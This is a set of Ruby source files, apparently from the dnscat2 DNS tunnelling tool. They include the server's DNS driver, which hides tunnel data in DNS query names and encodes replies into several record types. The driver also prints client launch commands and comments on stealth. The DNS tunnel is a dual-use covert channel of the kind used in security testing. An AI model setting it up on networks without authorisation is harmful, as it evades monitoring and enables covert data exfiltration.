87 str = Readline::readline(@@active.prompt, true)
88 end
89
90 # If readline() returns nil, it means the input stream is closed
91 # (either the file it's reading from is done, or the user pressed
92 # ctrl-d). Terminate the input thread.
93 if(str.nil?)
94 break
95 end
96
97 if(@@active.nil?)
98 $stderr.puts("WARNING: there is no active window! Input's going nowhere")
99 $stderr.puts("If you think this might be a bug, please report to")
100 $stderr.puts("https://github.com/iagox86/dnscat2/issues")
101 next
102 end
103
104 @@active._incoming(str)
105 rescue SystemExit
106 # If something sent an exit request, we want to break, which shuts
107 # down the thread
108 break
109 rescue Exception => e
110 $stderr.puts("Something bad just happened! You will likely want to report this to")
111 $stderr.puts("https://github.com/iagox86/dnscat2/issues")
112 $stderr.puts(e.inspect)
113 $stderr.puts(e.backtrace.join("\n"))
114 end
115 end
116 end
117
118 $stderr.puts("Input thread is over")
119 rescue StandardError => e
120 $stderr.puts(e)
121 $stderr.puts(e.backtrace.join("\n"))
122 end
123 end
124
125 # Create a new window, with the given parent (use 'nil' for a top-level
126 # window, though you should try to only do one of those). Optionally, the
127 # window can also be activated (which means it's brought to the front).
128 def initialize(parent = nil, activate = false, params = {})
129 @parent = parent
130 @children = []
131
132 @id = params[:id] || (@@id += 1)
133 @name = params[:name] || "unnamed"
134 @prompt = params[:prompt] || ("%s %s> " % [@name, @id.to_s()])
135 @noinput = params[:noinput] || false
136 @times_out = params[:times_out] || false
137
138 @callback = nil
139 @history = RingBuffer.new(@@history_size)
140 @typed_history = []
141 @closed = false
142 @pending = false
143
144 @to_parent = false
145 @to_ancestors = false
146 @to_children = false
147 @to_descendants = false
148
149 if(@parent)
150 @parent._add_child(self)
151 end
152
153 if(@@active.nil? || activate)
154 self.activate()
155 end
156
157 if(params[:quiet] != true)
158 target = @parent ? @parent : self
159 target.with({:to_descendants => true, :to_ancestors => true}) do
160 target.puts("New window created: %s" % @id.to_s())
161 end
162 end
163
164 @@windows[@id.to_s()] = self
165 end
166
167 def _we_just_got_data()
168 if(@@active == self)
169 return
170 end
171
172 @pending = true
173 end
174
175 # Yields for each child
176 def children()
177 @children.each do |child|
178 yield child
179 end
180 end
181
182 # Set the on_input callback - the function that will be called when input is
183 # received. Very important!
184 def on_input()
185 @callback = proc
186 end
187
188 def with(params = {})
189 # Save the state
190 to_parent = @to_parent
191 to_ancestors = @to_ancestors
192 to_children = @to_children
193 to_descendants = @to_descendants
194
195 # Set the state
196 @to_parent = params[:to_parent] || @to_parent
197 @to_ancestors = params[:to_ancestors] || @to_ancestors
198 @to_children = params[:to_children] || @to_children
199 @to_descendants = params[:to_descendants] || @to_descendants
200
201 yield()
202
203 # Restore the state
204 @to_parent = to_parent
205 @to_ancestors = to_ancestors
206 @to_children = to_children
207 @to_descendants = to_descendants
208 end
209
210 def do_recursion(func, *args)
211 if(@parent && (@to_parent || @to_ancestors))
212 @parent.with({:to_parent => false, :to_children => false, :to_descendants => false, :to_ancestors => @to_ancestors}) do
213 @parent.send(func, *args)
214 end
215 end
216
217 if(@to_children || @to_descendants)
218 @children.each do |c|
219 c.with({:to_descendants => @to_descendants, :to_children => false, :to_parent => false, :to_ancestors => false}) do
220 c.send(func, *args)
221 end
222 end
223 end
224 end
225
226 # Write to a window, just like $stdout.puts()
227 def puts(str = "")
228 if(@@firehose)
229 $stdout.puts(str)
230 return
231 end
232
233 _we_just_got_data()
234
235 if(@@active == self)
236 $stdout.puts(str)
237 end
238 @history << (str.to_s() + "\n")
239
240 do_recursion(:puts, str)
241 end
242
243 # Write to a window, just like $stdout.print()
244 def print(str = "")
245 if(@@firehose)
246 $stdout.print(str)
247 return
248 end
249
250 _we_just_got_data()
251
252 str = str.to_s()
253 if(@@active == self)
254 $stdout.print(str)
255 end
256 @history << str.to_s()
257
258 do_recursion(:print, str)
259 end
260
261 # Write to a window, just like $stdout.printf()
262 def printf(*args)
263 print(sprintf(*args))
264 end
265
266 def _add_child(child)
267 @children << child
268 end
269
270 # Enable a window; re-draws the history, and starts sending user input to
271 # the specified window (note that this can be a closed window; we don't
272 # really care)
273 def activate()
274 # The user just viewed the window, so data is no longer pending
275 @pending = false
276
277 # Set this window to the activate one
278 @@active = self
279
280 # Re-draw the history
281 $stdout.puts(@history.join(""))
282
283 # It appears that some versions of Readline don't support :clear, so only do this if we can
284 if(Readline::HISTORY.respond_to?(:clear))
285 # Fill Readline's buffer with the typed history (this is a bit of a hack,
286 # but Readline doesn't support multiple history buffers)
287 Readline::HISTORY.clear()
288 end
289 @typed_history.each do |i|
290 Readline::HISTORY << i
291 end
292 end
293
294 # Basically, this activates the parent window (if possible)
295 def deactivate()
296 if(@parent)
297 @parent.activate()
298 else
299 $stdout.puts("Can't close the main window!")
300 end
301 end
302
303 def _incoming(str)
304 if(@noinput)
305 return
306 end
307
308 @history << @prompt + str + "\n"
309 if(str != '')
310 @typed_history << str
311 end
312
313 if(@callback.nil?)
314 self.puts("Input received, but nothing has registered to receive it")
315 self.puts("Use ctrl-z to escape if this window isn't taking input!")
316 return
317 end
318 @callback.call(str)
319 end
320
321 # Process some string as if it was coming from the keyboard (this can be used to,
322 # for example, write scripts)
323 def fake_input(str)
324 return _incoming(str)
325 end
326
327 # Set the number of lines of history for the current session. Note that this
328 # only takes effect after another message is added to the history (lazy
329 # evaluated, essentially).
330 def history_size=(size)
331 @history.max_size = size
332 end
333
334 # Get the number of lines of history for the current session.
335 def history_size()
336 return @history.max_size
337 end
338
339 # Set the default history size for new windows that are created. The history
340 # size for current windows doesn't change.
341 def SWindow.history_size=(size)
342 @@history_size = size
343 end
344
345 # Get the default history size.
346 def SWindow.history_size()
347 return @@history_size
348 end
349
350 # close the window - closing windows is purely a UI thing, they are still
351 # available and can receive data like anything else.
352 def close()
353 @closed = true
354 deactivate()
355 end
356
357 # Check if the window has been closed
358 def closed?()
359 return @closed
360 end
361
362 # Check if the window has any pending data
363 def pending?()
364 return @pending
365 end
366
367 # Check if a window with the given id exists
368 def SWindow.exists?(id)
369 return !@@windows[id.to_s()].nil?
370 end
371
372 # Retrieve a window by its id value
373 def SWindow.get(id)
374 return @@windows[id.to_s()]
375 end
376
377 # This function blocks until SWindow is totally finished (that is, it has
378 # received an exit signal or an EOF marker).
379 def SWindow.wait()
380 @@input_thread.join()
381 end
382
383 # This is mostly for debugging - all output goes to the same place
384 def SWindow.set_firehose(value)
385 @@firehose = value
386 end
387
388 def kick()
389 @last_seen = Time.now()
390 end
391
392 def to_s()
393 s = "%s :: %s" % [@id.to_s(), @name]
394 if(@@active == self)
395 s += " [active]"
396 end
397
398 if(@pending)
399 s += " [*]"
400 end
401
402 if(@times_out)
403 elapsed = Time.now() - @last_seen
404 if(elapsed > 5)
405 s += " [idle for #{elapsed.to_i()} seconds]"
406 end
407 end
408
409 return s
410 end
411 end
0 #############################################################################
1 # Class: Vash (Ruby Volatile Hash)
2 #
3 # Hash that returns values only for a short time. This is useful as a cache
4 # where I/O is involved. The primary goal of this object is to reduce I/O
5 # access and due to the nature of I/O being slower then memory, you should also
6 # see a gain in quicker response times.
7 #
8 # For example, if Person.first found the first person from the database & cache
9 # was an instance of Vash then the following would only contact the database for
10 # the first iteration:
11 #
12 # > cache = Vash.new
13 # > 1000.times {cache[:person] ||= Person.first}
14 #
15 # However if you did the following immediately following that command it would
16 # hit the database again:
17 #
18 # > sleep 61
19 # > cache[:person] ||= Person.first
20 #
21 # The reason is that there is a default Time-To-Live of 60 seconds. You can
22 # also set a custom TTL of 10 seconds like so:
23 #
24 # > cache[:person, 10] = Person.first
25 #
26 # The Vash object will forget any answer that is requested after the specified
27 # TTL. It is a good idea to manually clean things up from time to time because
28 # it is possible that you'll cache data but never again access it and therefor
29 # it will stay in memory after the TTL has expired. To clean up the Vash object,
30 # call the method: cleanup!
31 #
32 # > sleep 11 # At this point the prior person ttl will be expired
33 # # but the person key and value will still exist.
34 # > cache # This will still show the the entire set of keys
35 # # regardless of the TTL, the :person will still exist
36 # > cache.cleanup! # All of the TTL's will be inspected and the expired
37 # # :person key will be deleted.
38 #
39 # The cleanup must be manually called because the purpose of the Vash is to
40 # lessen needless I/O calls and gain speed not to slow it down with regular
41 # maintenance.
42 class Vash < Hash
43 def initialize(constructor = {})
44 @register ||= {} # remembers expiration time of every key
45 if constructor.is_a?(Hash)
46 super()
47 merge(constructor)
48 else
49 super(constructor)
50 end
51 end
52
53 alias_method :regular_writer, :[]= unless method_defined?(:regular_writer)
54 alias_method :regular_reader, :[] unless method_defined?(:regular_reader)
55
56 def [](key)
57 sterilize(key)
58 clear(key) if expired?(key)
59 regular_reader(key)
60 end
61
62 def []=(key, *args)
63 # a little bit o variable hacking to support (h[key, ttl] = value), which will come
64 # accross as (key, [ttl, value]) whereas (h[key]=value) comes accross as (key, [value])
65 if args.length == 2
66 value, ttl = args[1], args[0]
67 elsif args.length == 1
68 value, ttl = args[0], 10
69 else
70 raise ArgumentError, "Wrong number of arguments, expected 2 or 3, received: #{args.length+1}\n"+
71 "Example Usage: volatile_hash[:key]=value OR volatile_hash[:key, ttl]=value"
72 end
73 sterilize(key)
74 ttl(key, ttl)
75 regular_writer(key, value)
76 end
77
78 def merge(hsh)
79 hsh.map {|key,value| self[sterile(key)] = hsh[key]}
80 self
81 end
82
83 def cleanup!
84 now = Time.now.to_i
85 @register.map {|k,v| clear(k) if v < now}
86 end
87
88 def clear(key)
89 sterilize(key)
90 @register.delete key
91 self.delete key
92 end
93
94 private
95 def expired?(key)
96 Time.now.to_i > @register[key].to_i
97 end
98
99 def ttl(key, secs=60)
100 @register[key] = Time.now.to_i + secs.to_i
101 end
102
103 def sterile(key)
104 String === key ? key.chomp('!').chomp('=') : key.to_s.chomp('!').chomp('=').to_sym
105 end
106
107 def sterilize(key)
108 key = sterile(key)
109 end
110 end
0 ##
1 # driver_dns.rb
2 # Created March, 2013
3 # By Ron Bowes
4 #
5 # See: LICENSE.md
6 #
7 # This is a driver that will listen on a DNS port (using lib/dnser.rb) and
8 # will decode the "DNS tunnel protocol" and pass the resulting data to the
9 # controller.
10 ##
11
12 require 'libs/dnser'
13 require 'libs/settings'
14
15 class DriverDNS
16 attr_reader :id
17
18 # This is upstream dns
19 @@passthrough = nil
20 @@id = 0
21
22 # Experimentally determined to work
23 MAX_A_RECORDS = 64
24 MAX_AAAA_RECORDS = 16
25
26 RECORD_TYPES = {
27 DNSer::Packet::TYPE_TXT => {
28 :requires_domain => false,
29 :max_length => 241, # Carefully chosen
30 :requires_hex => true,
31 :encoder => Proc.new() do |name|
32 name.unpack("H*").pop
33 end,
34 },
35 DNSer::Packet::TYPE_MX => {
36 :requires_domain => true,
37 :max_length => 241,
38 :requires_hex => true,
39 :encoder => Proc.new() do |name|
40 name.unpack("H*").pop.chars.each_slice(63).map(&:join).join(".")
41 end,
42 },
43 DNSer::Packet::TYPE_CNAME => {
44 :requires_domain => true,
45 :max_length => 241,
46 :requires_hex => true,
47 :encoder => Proc.new() do |name|
48 name.unpack("H*").pop.chars.each_slice(63).map(&:join).join(".")
49 end,
50 },
51 DNSer::Packet::TYPE_A => {
52 :requires_domain => false,
53 :max_length => (MAX_A_RECORDS * (4-1)) - 1, # Length-prefixed and sequenced
54 :requires_hex => false,
55
56 # Encode in length-prefixed dotted-decimal notation
57 :encoder => Proc.new() do |name|
58 i = rand(255 - MAX_A_RECORDS - 1)
59 (name.length.chr + name).chars.each_slice(3).map(&:join).map do |ip|
60 ip = ip.force_encoding('ASCII-8BIT').ljust(3, "\xFF".force_encoding('ASCII-8BIT'))
61 i += 1
62 "%d.%d.%d.%d" % ([i] + ip.bytes.to_a) # Return
63 end
64 end,
65 },
66 DNSer::Packet::TYPE_AAAA => {
67 :requires_domain => false,
68 :max_length => (MAX_AAAA_RECORDS * (16-1)) - 1, # Length-prefixed and sequenced
69 :requires_hex => false,
70
71 # Encode in length-prefixed IPv6 notation
72 :encoder => Proc.new() do |name|
73 i = rand(255 - MAX_AAAA_RECORDS - 1)
74 (name.length.chr + name).chars.each_slice(15).map(&:join).map do |ip|
75 ip = ip.force_encoding('ASCII-8BIT').ljust(15, "\xFF".force_encoding('ASCII-8BIT'))
76 i += 1
77 ([i] + ip.bytes.to_a).each_slice(2).map do |octet|
78 "%04x" % [octet[0] << 8 | octet[1]]
79 end.join(":") # return
80 end
81 end,
82 },
83
84 }
85
86 # If domain is non-nil, match /(.*)\.domain/
87 # If domain is nil, match /identifier\.(.*)/
88 # If required_prefix is set, it only matches domains that contain that prefix
89 #
90 # The required prefix has to come first, if it's present
91 def DriverDNS.get_domain_regex(domain, identifier, required_prefix = nil)
92 if(domain.nil?)
93 if(required_prefix.nil?)
94 return /^#{identifier}(.*)$/
95 else
96 return /^#{required_prefix}\.#{identifier}(.*)$/
97 end
98 else
99 if(required_prefix.nil?)
100 return /^(.*)\.#{domain}$/
101 else
102 return /^#{required_prefix}\.(.*)\.#{domain}$/
103 end
104 end
105 end
106
107 def DriverDNS.figure_out_name(name, domains)
108 # Check if it's one of our domains
109 domains.each do |domain|
110 if(name =~ /^(.*)\.(#{domain})/i)
111 return $1, $2
112 end
113 end
114
115 # Check if it starts with dnscat, which is used when
116 # the server is unknown
117 if(name =~ /^dnscat\.(.*)$/i)
118 return $1, nil
119 end
120
121 # Can't process. :(
122 return nil
123 end
124
125 def DriverDNS.set_passthrough(host, port)
126 if(host.nil?)
127 @@passthrough = nil
128 return
129 end
130
131 @@passthrough = {
132 :host => host,
133 :port => port,
134 }
135 @shown_pt = false
136 end
137
138 def id()
139 return @window.id
140 end
141
142 def do_passthrough(transaction)
143 question = transaction.request.questions[0]
144
145 if(@@passthrough)
146 @window.puts("Unknown request for '#{question ? question : '<unknown>'}', passing to #{@@passthrough[:host]}:#{@@passthrough[:port]}")
147
148 transaction.passthrough!(@@passthrough[:host], @@passthrough[:port])
149 elsif(!@shown_pt)
150 @window.puts("Unable to handle request, returning an error: #{question.name}")
151 @window.puts("(If you want to pass to upstream DNS servers, use --passthrough")
152 @window.puts("or run \"set passthrough=8.8.8.8:53\")")
153 @window.puts("(This will only be shown once)")
154 @shown_pt = true
155
156 transaction.error!(DNSer::Packet::RCODE_NAME_ERROR)
157 end
158
159 @shown_pt = true
160 end
161
162 def DriverDNS.packet_to_bytes(question, domains)
163 # Determine the actual name, without the extra cruft
164 name, _ = DriverDNS.figure_out_name(question.name, domains)
165
166 if(name.nil?)
167 return nil
168 end
169
170 if(name !~ /^[a-fA-F0-9.]*$/)
171 return nil
172 end
173
174 # Get rid of periods in the incoming name
175 name = name.gsub(/\./, '')
176 name = [name].pack("H*")
177
178 return name
179 end
180
181 def DriverDNS.get_max_length(question, domains)
182 # Determine the actual name, without the extra cruft
183 name, domain = DriverDNS.figure_out_name(question.name, domains)
184
185 if(name.nil?)
186 return nil
187 end
188
189 type_info = RECORD_TYPES[question.type]
190 if(type_info.nil?)
191 raise(DnscatException, "Couldn't figure out how to handle the record type! (please report this, it shouldn't happen): " + type)
192 end
193
194 # Figure out the length of the domain based on the record type
195 if(type_info[:requires_domain])
196 if(domain.nil?)
197 domain_length = ("dnscat.").length
198 else
199 domain_length = domain.length + 1 # +1 for the dot
200 end
201 else
202 domain_length = 0
203 end
204
205 # Figure out the max length of data we can handle
206 if(type_info[:requires_hex])
207 max_length = (type_info[:max_length] / 2) - domain_length
208 else
209 max_length = (type_info[:max_length]) - domain_length
210 end
211
212 return max_length
213 end
214
215 def DriverDNS.do_encoding(question, domains, response)
216 # Determine the actual name, without the extra cruft
217 _, domain = DriverDNS.figure_out_name(question.name, domains)
218
219 type_info = RECORD_TYPES[question.type]
220 if(type_info.nil?)
221 raise(DnscatException, "Couldn't figure out how to handle the record type! (please report this, it shouldn't happen): " + type)
222 end
223
224 # Encode the response as needed
225 response = type_info[:encoder].call(response)
226
227 # Append domain, if needed
228 if(type_info[:requires_domain])
229 if(domain.nil?)
230 response = (response == "" ? "dnscat" : ("dnscat." + response))
231 else
232 response = (response == "" ? domain : (response + "." + domain))
233 end
234 end
235
236 # Do another length sanity check (with the *actual* max length, since everything is encoded now)
237 if(response.is_a?(String) && response.length > type_info[:max_length])
238 raise(DnscatException, "The handler returned too much data (after encoding)! This shouldn't happen, please report.")
239 end
240
241 return response
242 end
243
244 def initialize(parent_window, host, port, domains)
245 if(domains.nil?)
246 domains = []
247 end
248
249 # Do this as early as we can, so we can fail early
250 @dnser = DNSer.new(host, port, true)
251
252 @id = 'dns%d' % (@@id += 1)
253 @window = SWindow.new(parent_window, false, {
254 :id => @id,
255 :name => "DNS Driver running on #{host}:#{port} domains = #{domains.join(', ')}",
256 :noinput => true,
257 })
258
259 # @shown_pt = false
260
261 @window.with({:to_ancestors => true}) do
262 @window.puts("Starting Dnscat2 DNS server on #{host}:#{port}")
263 @window.puts("[domains = #{(domains == []) ? "n/a" : domains.join(", ")}]...")
264 @window.puts("")
265
266 if(domains.nil? || domains.length == 0)
267 @window.puts("It looks like you didn't give me any domains to recognize!")
268 @window.puts("That's cool, though, you can still use direct queries,")
269 @window.puts("although those are less stealthy.")
270 @window.puts("")
271 else
272 @window.puts("Assuming you have an authoritative DNS server, you can run")
273 @window.puts("the client anywhere with the following (--secret is optional):")
274 @window.puts()
275 domains.each do |domain|
276 @window.puts(" ./dnscat --secret=#{Settings::GLOBAL.get('secret')} #{domain}")
277 end
278 @window.puts("")
279 end
280
281 @window.puts("To talk directly to the server without a domain name, run:")
282 @window.puts()
283 @window.puts(" ./dnscat --dns server=x.x.x.x,port=#{port} --secret=#{Settings::GLOBAL.get('secret')}")
284 @window.puts("")
285 @window.puts("Of course, you have to figure out <server> yourself! Clients")
286 @window.puts("will connect directly on UDP port #{port}.")
287 @window.puts("")
288 end
289
290
291 @dnser.on_request() do |transaction|
292 begin
293 request = transaction.request
294
295 if(request.questions.length < 1)
296 raise(DnscatException, "Received a packet with no questions")
297 end
298
299 question = request.questions[0]
300 @window.puts("Received: #{question.name} (#{question.type_s})")
301
302 name = DriverDNS.packet_to_bytes(question, domains)
303 if(name.nil?)
304 do_passthrough(transaction)
305 next
306 end
307
308 max_length = DriverDNS.get_max_length(question, domains)
309 if(max_length.nil?)
310 do_passthrough(transaction)
311 next
312 end
313
314 # Get the response
315 response = proc.call(name, max_length)
316
317 if(response.length > max_length)
318 raise(DnscatException, "The handler returned too much data! This shouldn't happen, please report. (max = #{max_length}, returned = #{response.length}")
319 end
320
321 response = DriverDNS.do_encoding(question, domains, response)
322
323 # Log the response
324 @window.puts("Sending: #{response}")
325
326 # Allow multiple response records
327 if(response.is_a?(String))
328 transaction.add_answer(question.answer(60, response))
329 else
330 response.each do |r|
331 transaction.add_answer(question.answer(60, r))
332 end
333 end
334
335 transaction.reply!()
336 rescue DNSer::DnsException => e
337 @window.with({:to_ancestors => true}) do
338 @window.puts("There was a problem parsing the incoming packet! (for more information, check window '#{@window.id}')")
339 @window.puts(e.inspect)
340 end
341
342 e.backtrace.each do |bt|
343 @window.puts(bt)
344 end
345
346 transaction.error!(DNSer::Packet::RCODE_NAME_ERROR)
347 rescue DnscatException => e
348 @window.with({:to_ancestors => true}) do
349 @window.puts("Protocol exception caught in dnscat DNS module (for more information, check window '#{@window.id}'):")
350 @window.puts(e.inspect)
351 end
352
353 e.backtrace.each do |bt|
354 @window.puts(bt)
355 end
356 transaction.error!(DNSer::Packet::RCODE_NAME_ERROR)
357 rescue StandardError => e
358 @window.with({:to_ancestors => true}) do
359 @window.puts("Error caught (for more information, check window '#{@window.id}'):")
360 @window.puts(e.inspect)
361 end
362
363 e.backtrace.each do |bt|
364 @window.puts(bt)
365 end
366 transaction.error!(DNSer::Packet::RCODE_NAME_ERROR)
367 end
368 end
369 end
370
371 def stop()
372 if(@dnser.nil?)
373 @window.puts("Tried to kill a session that isn't started or that's already dead!")
374 return
375 end
376
377 @dnser.stop()
378 @dnser = nil
379 @window.close()
380 end
381
382 def to_s()
383 return @window.name
384 end
385 end
0 ##
1 # driver_tcp.rb
2 # Created March, 2013
3 # By Ron Bowes
4 #
5 # See: LICENSE.md
6 #
7 # A TCP wrapper for the dnscat2 protocol (mostly for testing)
8 ##
9
10 require 'socket'
11
12 class DriverTCP
13 def initialize(s)
14 @s = s
15 end
16
17 def recv()
18 loop do
19 length = @s.read(2)
20 if(length.nil? || length.length != 2)
21 raise(IOError, "Connection closed while reading the length")
22 end
23 length = length.unpack("n").shift
24
25 incoming = @s.read(length)
26 if(incoming.nil? || incoming.length != length)
27 raise(IOError, "Connection closed while reading packet")
28 end
29
30 outgoing = yield(incoming, 32767)
31 if(!outgoing.nil?)
32 outgoing = [outgoing.length, outgoing].pack("nA*")
33 @s.write(outgoing)
34 end
35 end
36 end
37
38 def close()
39 @s.close
40 end
41
42 def DriverTCP.go(host, port)
43 Log.WARNING(nil, "Starting Dnscat2 TCP server on #{host}:#{port}...")
44 server = TCPServer.new(port)
45
46 loop do
47 Thread.start(server.accept) do |s|
48 Log.INFO(nil, "Received a new connection from #{s.peeraddr[3]}:#{s.peeraddr[1]} (#{s.peeraddr[2]})...")
49
50 begin
51 tcp = DriverTCP.new(s)
52 Dnscat2.go(tcp)
53 rescue IOError => e
54 puts("IOError caught: #{e.inspect}")
55 puts(e.inspect)
56 puts(e.backtrace)
57 end
58 end
59 end
60 end
61 end
0 ##
1 # tunnel_drivers.rb
2 # Created September 17, 2015
3 # By Ron Bowes
4 #
5 # See: LICENSE.md
6 ##
7
8 class TunnelDrivers
9 @@drivers = {}
10
11 class StopDriver < Exception
12 end
13
14 def TunnelDrivers.start(params = {})
15 controller = params[:controller] || raise(ArgumentError, "The :controller argument is required")
16 driver_cls = params[:driver] || raise(ArgumentError, "The :driver argument is required")
17 args = params[:args] || raise(ArgumentError, "The :args argument is required")
18 if(!args.is_a?(Array))
19 raise(ArgumentError, "The :args argument must be an array")
20 end
21
22 begin
23 driver = driver_cls.new(WINDOW, *args) do |data, max_length|
24 controller.feed(data, max_length)
25 end
26 @@drivers[driver.id] = driver
27 rescue Errno::EACCES => e
28 puts("")
29 puts("*** ERROR")
30 puts("*")
31 puts("* There was a problem creating the socket: #{e}")
32 puts("*")
33 puts("* If you're trying to run this on Linux, chances are you need to")
34 puts("* run this as root, or give ruby permission to listen on port 53.")
35 puts("*")
36 puts("* Sadly, this is non-trivial; rvmsudo doesn't work, because it's")
37 puts("* a shellscript and breaks ctrl-z; the best way is to use 'su' or")
38 puts("* 'sudo', and to ensure that the appropriate gems are globally")
39 puts("* installed.")
40 puts("*")
41 puts("* The process will run as usual, but if the 'windows' command doesn't")
42 puts("* show any listeners, nobody will be able to connect to you!")
43 puts("*")
44 puts("*** ERROR")
45 puts("")
46 end
47 end
48
49 def TunnelDrivers.exists?(id)
50 return !@@drivers[id].nil?
51 end
52
53 def TunnelDrivers.stop(id)
54 driver = @@drivers[id]
55
56 if(!driver)
57 return false
58 end
59
60 driver.stop()
61 @@drivers.delete(id)
62 end
63
64 def TunnelDrivers.each_driver()
65 @@drivers.each_pair do |id, driver|
66 yield(id, driver)
67 end
68 end
69 end
0 # Gemfile
1 # By Ron Bowes
2 #
3 # See LICENSE.md
4
5 source 'https://rubygems.org'
6
7 gem 'trollop' # parsing commandline options
8 gem 'ruby-pcap' # for the parser
0 GEM
1 remote: https://rubygems.org/
2 specs:
3 ruby-pcap (0.7.9)
4 trollop (2.0)
5
6 PLATFORMS
7 ruby
8
9 DEPENDENCIES
10 ruby-pcap
11 trollop
0 ##
1 # dnslogger.rb
2 # Created July 22, 2015
3 # By Ron Bowes
4 #
5 # See: LICENSE.md
6 #
7 # Implements a stupidly simple DNS server.
8 ##
9
10 $LOAD_PATH << File.dirname(__FILE__) # A hack to make this work on 1.8/1.9
11
12 require 'trollop'
13 require '../server/libs/dnser'
14
15 # version info
16 NAME = "dnslogger"
17 VERSION = "v1.0.0"
18
19 Thread.abort_on_exception = true
20
21 # Options
22 opts = Trollop::options do
23 version(NAME + " " + VERSION)
24
25 opt :version, "Get the #{NAME} version", :type => :boolean, :default => false
26 opt :host, "The ip address to listen on", :type => :string, :default => "0.0.0.0"
27 opt :port, "The port to listen on", :type => :integer, :default => 53
28
29 opt :passthrough, "Set to a host:port, and unanswered queries will be sent there", :type => :string, :default => nil
30 opt :packet_trace, "If enabled, print details about the packets", :type => :boolean, :default => false
31
32 opt :A, "Response to send back for 'A' requests", :type => :string, :default => nil
33 opt :AAAA, "Response to send back for 'AAAA' requests", :type => :string, :default => nil
34 opt :CNAME, "Response to send back for 'CNAME' requests", :type => :string, :default => nil
35 opt :TXT, "Response to send back for 'TXT' requests", :type => :string, :default => nil
36 opt :MX, "Response to send back for 'MX' requests", :type => :string, :default => nil
37 opt :MX_PREF, "The preference order for the MX record", :type => :integer, :default => 10
38 opt :NS, "Response to send back for 'NS' requests", :type => :string, :default => nil
39
40 opt :ttl, "The TTL value to return", :type => :integer, :default => 60
41 end
42
43 if(opts[:port] < 0 || opts[:port] > 65535)
44 Trollop::die :port, "must be a valid port (between 0 and 65535)"
45 end
46
47 puts("Starting #{NAME} #{VERSION} DNS server on #{opts[:host]}:#{opts[:port]}")
48
49 pt_host = pt_port = nil
50 if(opts[:passthrough])
51 pt_host, pt_port = opts[:passthrough].split(/:/, 2)
52 pt_port = pt_port || 53
53 puts("Any queries without a specific answer will be sent to #{pt_host}:#{pt_port}")
54 end
55
56 dnser = DNSer.new(opts[:host], opts[:port])
57
58 dnser.on_request() do |transaction|
59 request = transaction.request
60
61 if(request.questions.length < 1)
62 puts("The request didn't ask any questions!")
63 next
64 end
65
66 if(request.questions.length > 1)
67 puts("The request asked multiple questions! This is super unusual, if you can reproduce, please report!")
68 next
69 end
70
71 question = request.questions[0]
72
73 puts(request.to_s(!opts[:packet_trace]))
74
75 # If they provided a way to handle it, to that
76 response = question.type_s ? opts[question.type_s.to_sym] : nil
77 if(response)
78 if(question.type == DNSer::Packet::TYPE_MX)
79 answer = question.answer(opts[:ttl], response, opts[:MX_PREF])
80 else
81 answer = question.answer(opts[:ttl], response)
82 end
83
84 transaction.add_answer(answer)
85 puts(transaction.response.to_s(!opts[:packet_trace]))
86 transaction.reply!()
87 else
88 if(pt_host)
89 transaction.passthrough!(pt_host, pt_port, Proc.new() do |packet|
90 puts(packet.to_s(!opts[:packet_trace]))
91 end)
92 puts("OUT: (...forwarding upstream...)")
93 else
94 transaction.error!(DNSer::Packet::RCODE_NAME_ERROR)
95 puts(transaction.response.to_s(!opts[:packet_trace]))
96 end
97 end
98
99 if(!transaction.sent)
100 raise(StandardError, "Oops! We didn't send the response! Please file a bug")
101 end
102
103 end
104
105 # Wait for it to finish (never-ending, essentially)
106 dnser.wait()
0 ##
1 # dnslogger.rb
2 # Created July 22, 2015
3 # By Ron Bowes
4 #
5 # See: LICENSE.md
6 #
7 # Simply checks if you're the authoritative server.
8 ##
9
10 $LOAD_PATH << File.dirname(__FILE__) # A hack to make this work on 1.8/1.9
11
12 require 'trollop'
13 require '../server/libs/dnser'
14
15 # version info
16 NAME = "dnsmastermind"
17 VERSION = "v1.0.0"
18
19 Thread.abort_on_exception = true
20
21 # Options
22 opts = Trollop::options do
23 version(NAME + " " + VERSION)
24
25 opt :version, "Get the #{NAME} version", :type => :boolean, :default => false
26 opt :host, "The ip address to listen on", :type => :string, :default => "0.0.0.0"
27 opt :port, "The port to listen on", :type => :integer, :default => 53
28 opt :timeout, "The amount of time (seconds) to wait for a response", :type => :integer, :default => 10
29 opt :solution,"The answer; should be four letters, unless you're a jerk", :type => :string, :default => nil, :required => true
30 opt :win, "The message to display to winners", :type => :string, :default => "YOU WIN!!"
31 end
32
33 if(opts[:port] < 0 || opts[:port] > 65535)
34 Trollop::die :port, "must be a valid port (between 0 and 65535)"
35 end
36
37 if(opts[:solution].include?('.'))
38 Trollop::die :solution, "must not contain period; SHOULD only contain [a-z]{4} :)"
39 end
40 solution = opts[:solution].upcase()
41
42 puts("Starting #{NAME} #{VERSION} DNS server on #{opts[:host]}:#{opts[:port]}")
43
44 dnser = DNSer.new(opts[:host], opts[:port])
45
46 dnser.on_request() do |transaction|
47 begin
48 request = transaction.request
49
50 if(request.questions.length < 1)
51 puts("The request didn't ask any questions!")
52 next
53 end
54
55 if(request.questions.length > 1)
56 puts("The request asked multiple questions! This is super unusual, if you can reproduce, please report!")
57 next
58 end
59
60 if(request.questions[0].type != DNSer::Packet::TYPE_TXT)
61 next
62 end
63 guess, domain = request.questions[0].name.split(/\./, 2)
64 guess.upcase!()
65
66 if(guess == solution)
67 puts("WINNER!!!")
68 answer = opts[:win]
69 elsif(guess.length == solution.length)
70 saved_guess = guess
71 tmp_solution = solution.chars.to_a()
72 guess = guess.chars.to_a()
73 answer = ""
74
75 0.upto(tmp_solution.length() - 1) do |i|
76 if(tmp_solution[i] == guess[i])
77 answer += "O"
78 tmp_solution[i] = ""
79 guess[i] = ""
80 end
81 end
82
83 guess.each do |c|
84 if(c == "")
85 next
86 end
87
88 if(tmp_solution.include?(c))
89 tmp_solution[tmp_solution.index(c)] = ""
90 answer += "X"
91 end
92 end
93
94 if(answer == "")
95 answer = "No correct character; keep trying!"
96 end
97
98 puts("Guess: #{saved_guess} => #{answer}")
99 else
100 puts("Invalid; sending instructions: #{guess}")
101 answer = "Instructions: guess the #{solution.length}-character string: dig -t txt [guess].#{domain}! 'O' = correct, 'X' = correct, but wrong position"
102 end
103
104 answer = DNSer::Packet::Answer.new(request.questions[0], DNSer::Packet::TYPE_TXT, DNSer::Packet::CLS_IN, 100, DNSer::Packet::TXT.new(answer))
105
106 transaction.add_answer(answer)
107 transaction.reply!()
108 rescue StandardError => e
109 puts("Error: #{e}")
110 puts(e.backtrace)
111 end
112 end
113
114 dnser.wait()
0 ##
1 # dnslogger.rb
2 # Created July 22, 2015
3 # By Ron Bowes
4 #
5 # See: LICENSE.md
6 #
